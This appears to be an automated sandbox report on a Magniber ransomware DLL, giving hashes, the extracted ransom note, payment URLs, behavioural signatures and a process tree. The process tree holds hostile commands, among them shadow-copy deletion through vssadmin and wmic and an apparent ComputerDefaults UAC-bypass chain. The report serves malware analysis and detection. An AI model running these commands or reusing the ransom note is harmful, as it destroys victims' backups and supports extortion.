Overview

overview

10

Static

static

4.dll

windows7_x64

10

4.dll

windows10_x64

10

Analysis

  • max time kernel
    153s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    29-08-2021 11:34

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General

  • Target

    4.dll

  • Size

    38KB

  • MD5

    20dc89faf3ec56190b7eeb2e31807e42

  • SHA1

    7cf5f418a3fa466fadde536fb52c5df9594fb319

  • SHA256

    4f928d4bb28ac45b5d8a7ac8c0a4822dc23a4815a31bc4b4b2dd6ab34cb32a9b

  • SHA512

    7433189602bc530c4099ab2e4c2c19c433f6555386e385ea88ae163d5f6b3ab1c2f5dcb9d3101779a428ec669236e4f64ad13ee8ed7ce82a22d6be9bb6869fc9

Score
10/10
magniberransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://04007c5886ec44d04ecytywyhto.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/cytywyhto Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://04007c5886ec44d04ecytywyhto.bitslet.uno/cytywyhto http://04007c5886ec44d04ecytywyhto.canyour.xyz/cytywyhto http://04007c5886ec44d04ecytywyhto.dogper.space/cytywyhto http://04007c5886ec44d04ecytywyhto.ballcan.xyz/cytywyhto Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://04007c5886ec44d04ecytywyhto.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/cytywyhto

http://04007c5886ec44d04ecytywyhto.bitslet.uno/cytywyhto

http://04007c5886ec44d04ecytywyhto.canyour.xyz/cytywyhto

http://04007c5886ec44d04ecytywyhto.dogper.space/cytywyhto

http://04007c5886ec44d04ecytywyhto.ballcan.xyz/cytywyhto

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

    ransomwaremagniber
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 11 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\4.dll,#1
    1⤵
    • Modifies extensions of user files
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:2196
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://04007c5886ec44d04ecytywyhto.bitslet.uno/cytywyhto^&1^&56015413^&80^&335^&2215063"
      2⤵
      • Checks computer location settings
      PID:3900
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3552
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3048
    • C:\Windows\system32\wbem\wmic.exe
      C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1124
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
          PID:3428
    • C:\Windows\system32\cmd.exe
      cmd /c computerdefaults.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\system32\ComputerDefaults.exe
        computerdefaults.exe
        2⤵
          PID:1688
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /all /quiet
        1⤵
        • Process spawned unexpected child process
        • Interacts with shadow copies
        PID:2624
      • C:\Windows\system32\cmd.exe
        cmd /c computerdefaults.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3992
        • C:\Windows\system32\ComputerDefaults.exe
          computerdefaults.exe
          2⤵
            PID:3036
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:3156
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:512
          • C:\Windows\system32\browser_broker.exe
            C:\Windows\system32\browser_broker.exe -Embedding
            1⤵
            • Modifies Internet Explorer settings
            PID:584
          • C:\Windows\System32\RuntimeBroker.exe
            C:\Windows\System32\RuntimeBroker.exe -Embedding
            1⤵
            • Modifies registry class
            PID:272
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2624
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:2272
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:4276

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/808-126-0x00000000008B0000-0x00000000008B1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-136-0x00000000021A0000-0x00000000021A1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-118-0x0000026935620000-0x0000026935621000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-117-0x0000026935510000-0x0000026935511000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-120-0x0000026935640000-0x0000026935641000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-121-0x0000026935650000-0x0000026935651000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-119-0x0000026935630000-0x0000026935631000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-122-0x0000026935690000-0x0000026935691000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-123-0x00000269356A0000-0x00000269356A1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-124-0x00000269356B0000-0x00000269356B1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-125-0x00000269356C0000-0x00000269356C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-116-0x0000026935500000-0x0000026935501000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-115-0x00000269354F0000-0x00000269354F1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/808-114-0x00000269356F0000-0x0000026935CDE000-memory.dmp

            Filesize

            5.9MB

            Download

          • memory/808-127-0x00000000008C0000-0x00000000008C5000-memory.dmp

            Filesize

            20KB

            Download